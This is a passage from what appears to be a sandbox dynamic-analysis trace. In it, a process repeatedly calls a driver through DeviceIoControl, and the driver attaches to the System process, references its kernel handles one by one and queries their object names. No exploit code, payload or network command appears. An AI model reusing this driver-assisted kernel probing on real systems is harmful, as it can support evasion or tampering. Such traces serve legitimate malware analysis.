dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.148] PsAcquireProcessExitSynchronization () returned 0x0 [0089.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.148] ObReferenceObjectByHandle (in: Handle=0xffffffff8000010c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002b8e9e0, HandleInformation=0x0) returned 0x0 [0089.148] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.148] PsReleaseProcessExitSynchronization () returned 0x2 [0089.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.149] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.149] ObfDereferenceObject (Object=0xfffffa8002b8e9e0) returned 0x1 [0089.149] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.149] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.149] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.149] PsAcquireProcessExitSynchronization () returned 0x0 [0089.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.149] ObReferenceObjectByHandle (in: Handle=0xffffffff80000120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80044a7050, HandleInformation=0x0) returned 0x0 [0089.149] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.149] PsReleaseProcessExitSynchronization () returned 0x2 [0089.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.149] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.149] ObfDereferenceObject (Object=0xfffffa80044a7050) returned 0x1 [0089.149] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.149] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.149] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.149] PsAcquireProcessExitSynchronization () returned 0x0 [0089.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.149] ObReferenceObjectByHandle (in: Handle=0xffffffff80000124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80077ff050, HandleInformation=0x0) returned 0x0 [0089.149] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.149] PsReleaseProcessExitSynchronization () returned 0x2 [0089.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.149] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.149] ObfDereferenceObject (Object=0xfffffa80077ff050) returned 0x1 [0089.149] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.149] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.149] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.150] PsAcquireProcessExitSynchronization () returned 0x0 [0089.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80077fc050, HandleInformation=0x0) returned 0x0 [0089.150] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.150] PsReleaseProcessExitSynchronization () returned 0x2 [0089.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.150] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.150] ObfDereferenceObject (Object=0xfffffa80077fc050) returned 0x1 [0089.150] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.150] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.150] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.150] PsAcquireProcessExitSynchronization () returned 0x0 [0089.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.150] ObReferenceObjectByHandle (in: Handle=0xffffffff8000012c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8004871f20, HandleInformation=0x0) returned 0x0 [0089.150] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.150] PsReleaseProcessExitSynchronization () returned 0x2 [0089.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.150] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.150] ObfDereferenceObject (Object=0xfffffa8004871f20) returned 0x1 [0089.150] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.150] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.150] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.150] PsAcquireProcessExitSynchronization () returned 0x0 [0089.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8004870050, HandleInformation=0x0) returned 0x0 [0089.150] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.150] PsReleaseProcessExitSynchronization () returned 0x2 [0089.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.150] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003aaf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003aaf044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.150] ObfDereferenceObject (Object=0xfffffa8004870050) returned 0x1 [0089.151] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.151] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.151] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.151] PsAcquireProcessExitSynchronization () returned 0x0 [0089.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.151] ObReferenceObjectByHandle (in: Handle=0xffffffff80000134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8007ffc050, HandleInformation=0x0) returned 0x0 [0089.151] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.151] PsReleaseProcessExitSynchronization () returned 0x2 [0089.151] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.151] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.151] ObfDereferenceObject (Object=0xfffffa8007ffc050) returned 0x1 [0089.151] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.151] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.151] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.151] PsAcquireProcessExitSynchronization () returned 0x0 [0089.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.151] ObReferenceObjectByHandle (in: Handle=0xffffffff80000138, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8008fae050, HandleInformation=0x0) returned 0x0 [0089.151] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.151] PsReleaseProcessExitSynchronization () returned 0x2 [0089.151] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.151] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.151] ObfDereferenceObject (Object=0xfffffa8008fae050) returned 0x1 [0089.151] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.151] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.151] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.151] PsAcquireProcessExitSynchronization () returned 0x0 [0089.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.152] ObReferenceObjectByHandle (in: Handle=0xffffffff8000013c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8006dfd050, HandleInformation=0x0) returned 0x0 [0089.152] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.152] PsReleaseProcessExitSynchronization () returned 0x2 [0089.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.152] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.152] ObfDereferenceObject (Object=0xfffffa8006dfd050) returned 0x1 [0089.152] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.152] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.152] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0089.152] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.152] PsAcquireProcessExitSynchronization () returned 0x0 [0089.152] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.152] ObReferenceObjectByHandle (in: Handle=0xffffffff80000140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002910f20, HandleInformation=0x0) returned 0x0 [0089.152] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.152] PsReleaseProcessExitSynchronization () returned 0x2 [0089.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.152] ObQueryNameString (in: Object=0xfffffa8002910f20, ObjectNameInfo=0xfffffa8003a26044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a26044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.152] ObfDereferenceObject (Object=0xfffffa8002910f20) returned 0x1 [0089.152] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.152] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.152] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0089.152] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.152] PsAcquireProcessExitSynchronization () returned 0x0 [0089.152] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.152] ObReferenceObjectByHandle (in: Handle=0xffffffff80000148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003be2f20, HandleInformation=0x0) returned 0x0 [0089.152] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.152] PsReleaseProcessExitSynchronization () returned 0x2 [0089.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.152] ObQueryNameString (in: Object=0xfffffa8003be2f20, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.152] ObfDereferenceObject (Object=0xfffffa8003be2f20) returned 0x1 [0089.152] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.153] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.153] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0089.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.153] PsAcquireProcessExitSynchronization () returned 0x0 [0089.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.153] ObReferenceObjectByHandle (in: Handle=0xffffffff80000154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80043f1b50, HandleInformation=0x0) returned 0x0 [0089.153] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.153] PsReleaseProcessExitSynchronization () returned 0x2 [0089.153] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.153] ObQueryNameString (in: Object=0xfffffa80043f1b50, ObjectNameInfo=0xfffffa8003a70044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a70044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.153] ObfDereferenceObject (Object=0xfffffa80043f1b50) returned 0x1 [0089.153] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.153] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.153] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0089.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.153] PsAcquireProcessExitSynchronization () returned 0x0 [0089.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.153] ObReferenceObjectByHandle (in: Handle=0xffffffff80000158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80067fad00, HandleInformation=0x0) returned 0x0 [0089.153] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.153] PsReleaseProcessExitSynchronization () returned 0x2 [0089.153] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.153] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a71044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a71044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.153] ObfDereferenceObject (Object=0xfffffa80067fad00) returned 0x1 [0089.153] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.153] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.153] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0089.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.153] PsAcquireProcessExitSynchronization () returned 0x0 [0089.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.153] ObReferenceObjectByHandle (in: Handle=0xffffffff8000015c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003673de0, HandleInformation=0x0) returned 0x0 [0089.153] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.154] PsReleaseProcessExitSynchronization () returned 0x2 [0089.154] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.154] ObQueryNameString (in: Object=0xfffffa8003673de0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.154] ObfDereferenceObject (Object=0xfffffa8003673de0) returned 0x2 [0089.154] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.154] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.154] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x4a, lpOverlapped=0x0) returned 1 [0089.154] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.154] PsAcquireProcessExitSynchronization () returned 0x0 [0089.154] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.154] ObReferenceObjectByHandle (in: Handle=0xffffffff80000160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80043f1400, HandleInformation=0x0) returned 0x0 [0089.154] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.154] PsReleaseProcessExitSynchronization () returned 0x2 [0089.154] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.154] ObQueryNameString (in: Object=0xfffffa80043f1400, ObjectNameInfo=0xfffffa8003a73044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a73044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.154] ObfDereferenceObject (Object=0xfffffa80043f1400) returned 0x1 [0089.154] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.154] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.154] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0089.154] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.154] PsAcquireProcessExitSynchronization () returned 0x0 [0089.155] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.155] ObReferenceObjectByHandle (in: Handle=0xffffffff80000164, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: 